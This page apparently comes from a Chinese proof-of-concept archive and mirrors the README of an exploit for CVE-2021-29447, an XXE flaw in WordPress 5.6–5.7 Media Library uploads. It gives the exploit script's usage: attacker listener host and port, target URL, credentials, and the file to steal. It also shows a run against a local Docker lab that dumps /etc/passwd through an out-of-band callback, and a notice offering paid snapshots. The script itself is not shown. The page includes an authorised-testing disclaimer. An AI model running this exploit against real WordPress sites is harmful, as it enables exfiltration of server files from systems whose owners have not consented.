关联漏洞
标题:
WordPress 代码问题漏洞
(CVE-2021-29447)
描述:WordPress是WordPress(Wordpress)基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。 WordPress 存在代码问题漏洞,攻击者可利用该漏洞在成功的XXE攻击中可以访问内部文件。
描述
PoC for CVE-2021-29447
介绍
# [CVE-2021-29447](https://nvd.nist.gov/vuln/detail/CVE-2021-29447) PoC
This repository contains a **Proof of Concept (PoC)** exploit for the **[CVE-2021-29447](https://nvd.nist.gov/vuln/detail/CVE-2021-29447)** vulnerability, affecting **WordPress 5.6 and 5.7** using PHP 8. The exploit demonstrates how an attacker, with the ability to upload files, can exploit an XML parsing vulnerability in the Media Library, leading to an XXE (XML External Entity) attack and, consequently, the exfiltration of local files from the target environment.
---
### :warning: DISCLAIMER
This project is intended **for educational, research, and authorized security testing purposes only**.
**Do not use this code on systems you do not own or have explicit permission to test.**
The author is **not responsible** for any damage or misuse.
---
### Usage
```
┌──(magicrc㉿perun)-[~/code/CVE-2021-29447]
└─$ python3 ./CVE-2021-29447.py
usage: python3 ./CVE-2021-29447.py [--lhost LHOST] [--lport LPORT] [--target TARGET] [--user USER] [--password PASSWORD] [--file FILE] [--timeout TIMEOUT]
options:
--lhost LHOST IP address of the HTTP server, must be reachable by the target, server itself binds to 0.0.0.0
--lport LPORT Local port for the HTTP server to bind to
--target TARGET Full URL of the WordPress target
--user USER Username used to authenticate with the WordPress site
--password PASSWORD Password for the specified WordPress user
--file FILE Absolute path of the file to attempt exfiltration from the target system
--timeout TIMEOUT Maximum number of seconds to wait for the exfiltration callback before shutting down the server
Example: python3 ./CVE-2021-29447.py --lhost 10.10.14.157 --lport 8080 --target http://target.com --user user --password pass --file /etc/passwd
```
### Example
Based on provided `docker-compose` for `wordpress:5.7.0-php8.0`.
```
┌──(magicrc㉿perun)-[~/code/CVE-2021-29447]
└─$ python3 ./CVE-2021-29447.py --lhost 172.17.0.1 --lport 8000 --target http://127.0.0.1:8080 --user admin --password '%rae2eX)mogPXX&$$r' --file /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
文件快照
[4.0K] /data/pocs/bc1e1420a05c0059ba762881621bd0d7ebed81b2
├── [6.0K] CVE-2021-29447.py
├── [ 574] docker-compose.yml
└── [3.0K] README.md
0 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。